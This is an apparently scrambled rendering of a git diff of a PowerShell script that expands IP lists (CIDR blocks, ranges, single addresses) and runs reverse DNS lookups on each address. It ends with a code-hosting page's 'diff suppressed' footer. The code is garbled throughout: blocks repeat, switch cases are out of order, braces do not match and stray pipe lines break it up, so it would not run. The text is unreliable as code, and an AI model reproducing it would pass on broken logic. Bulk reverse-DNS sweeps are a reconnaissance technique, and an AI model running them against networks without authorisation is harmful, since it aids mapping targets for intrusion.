$UpperInt = [Convert]::ToInt64($Upper, 2)
|
||||
for ($i = $LowerInt; $i -le $UpperInt; $i++) { InttoIP $i }
|
||||
Param([Int64] $IpInt)
|
||||
$Hexstr = $IpInt.ToString("X8")
|
||||
$IpStr = ""
|
||||
for ($i=0; $i -lt 8; $i += 2) {
|
||||
$IpStr += [Convert]::ToInt64($Hexstr.SubString($i,2), 16)
|
||||
$IpStr += '.'
|
||||
}
|
||||
"range"
|
||||
return $IpStr.TrimEnd('.')
|
||||
}
|
||||
|
||||
$Ip = [System.Net.IPAddress]::Parse("127.0.0.1")
|
||||
|
||||
foreach ($Str in $IpRange.Split(","))
|
||||
{
|
||||
$Item = $Str.Trim()
|
||||
$Result = ""
|
||||
$IpRegex = "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"
|
||||
|
||||
# First, validate the input
|
||||
switch -regex ($Item)
|
||||
{
|
||||
$Range = $item.Split("-")
|
||||
|
||||
if ([System.Net.IPAddress]::TryParse($Range[0],[ref]$Ip)) { $Temp1 = $Ip }
|
||||
else { Write-Warning "Invalid IP address supplied!"; return }
|
||||
|
||||
if ([System.Net.IPAddress]::TryParse($Range[1],[ref]$Ip)) { $Temp2 = $Ip }
|
||||
else { Write-Warning "Invalid IP address supplied!"; return }
|
||||
|
||||
$Left = (IPtoInt $Temp1.ToString())
|
||||
$Right = (IPtoInt $Temp2.ToString())
|
||||
|
||||
if ($Right -gt $Left) {
|
||||
for ($i = $Left; $i -le $Right; $i++) { InttoIP $i }
|
||||
"^$IpRegex/\d{1,2}$"
|
||||
{
|
||||
$Result = "cidrRange"
|
||||
break
|
||||
}
|
||||
"^$IpRegex-$IpRegex$"
|
||||
{
|
||||
$Result = "range"
|
||||
break
|
||||
}
|
||||
"^$IpRegex$"
|
||||
{
|
||||
$Result = "single"
|
||||
break
|
||||
}
|
||||
default
|
||||
{
|
||||
Write-Warning "Improper input"
|
||||
return
|
||||
}
|
||||
else { Write-Warning "Invalid IP range. The right portion must be greater than the left portion."; return}
|
||||
|
||||
break
|
||||
}
|
||||
"single"
|
||||
|
||||
#Now, start processing the IP addresses
|
||||
switch ($Result)
|
||||
{
|
||||
if ([System.Net.IPAddress]::TryParse($Item,[ref]$Ip)) { $Ip.IPAddressToString }
|
||||
else { Write-Warning "Invalid IP address supplied!"; return }
|
||||
break
|
||||
}
|
||||
default
|
||||
{
|
||||
Write-Warning "An error occured."
|
||||
return
|
||||
"cidrRange"
|
||||
{
|
||||
$CidrRange = $Item.Split("/")
|
||||
$Network = $CidrRange[0]
|
||||
$Mask = $CidrRange[1]
|
||||
|
||||
if (!([System.Net.IPAddress]::TryParse($Network, [ref] $Ip))) { Write-Warning "Invalid IP address supplied!"; return}
|
||||
if (($Mask -lt 0) -or ($Mask -gt 30)) { Write-Warning "Invalid network mask! Acceptable values are 0-30"; return}
|
||||
|
||||
$BinaryIP = [Convert]::ToString((IPtoInt $Network),2).PadLeft(32,'0')
|
||||
#Generate lower limit (Excluding network address)
|
||||
$Lower = $BinaryIP.Substring(0, $Mask) + "0" * ((32-$Mask)-1) + "1"
|
||||
#Generate upper limit (Excluding broadcast address)
|
||||
$Upper = $BinaryIP.Substring(0, $Mask) + "1" * ((32-$Mask)-1) + "0"
|
||||
$LowerInt = [Convert]::ToInt64($Lower, 2)
|
||||
$UpperInt = [Convert]::ToInt64($Upper, 2)
|
||||
for ($i = $LowerInt; $i -le $UpperInt; $i++) { InttoIP $i }
|
||||
}
|
||||
"range"
|
||||
{
|
||||
$Range = $item.Split("-")
|
||||
|
||||
if ([System.Net.IPAddress]::TryParse($Range[0],[ref]$Ip)) { $Temp1 = $Ip }
|
||||
else { Write-Warning "Invalid IP address supplied!"; return }
|
||||
|
||||
if ([System.Net.IPAddress]::TryParse($Range[1],[ref]$Ip)) { $Temp2 = $Ip }
|
||||
else { Write-Warning "Invalid IP address supplied!"; return }
|
||||
|
||||
$Left = (IPtoInt $Temp1.ToString())
|
||||
$Right = (IPtoInt $Temp2.ToString())
|
||||
|
||||
if ($Right -gt $Left) {
|
||||
for ($i = $Left; $i -le $Right; $i++) { InttoIP $i }
|
||||
}
|
||||
else { Write-Warning "Invalid IP range. The right portion must be greater than the left portion."; return}
|
||||
|
||||
break
|
||||
}
|
||||
"single"
|
||||
{
|
||||
if ([System.Net.IPAddress]::TryParse($Item,[ref]$Ip)) { $Ip.IPAddressToString }
|
||||
else { Write-Warning "Invalid IP address supplied!"; return }
|
||||
break
|
||||
}
|
||||
default
|
||||
{
|
||||
Write-Warning "An error occurred."
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
Parse-IPList $IpRange | ForEach-Object {
|
||||
try {
|
||||
$Temp = [System.Net.Dns]::GetHostEntry($_)
|
||||
|
||||
$Result = @{
|
||||
IP = $_
|
||||
HostName = $Temp.HostName
|
||||
PROCESS {
|
||||
Parse-IPList $IpRange | ForEach-Object {
|
||||
try {
|
||||
Write-Verbose "Resolving $_"
|
||||
$Temp = [System.Net.Dns]::GetHostEntry($_)
|
||||
|
||||
$Result = @{
|
||||
IP = $_
|
||||
HostName = $Temp.HostName
|
||||
}
|
||||
|
||||
New-Object PSObject -Property $Result
|
||||
}
|
||||
|
||||
New-Object PSObject -Property $Result
|
||||
} catch [System.Net.Sockets.SocketException] {}
|
||||
catch [System.Net.Sockets.SocketException] {
|
||||
Write-Verbose "Error: $_"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
Executable
+20914
File diff suppressed because it is too large
Load Diff
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user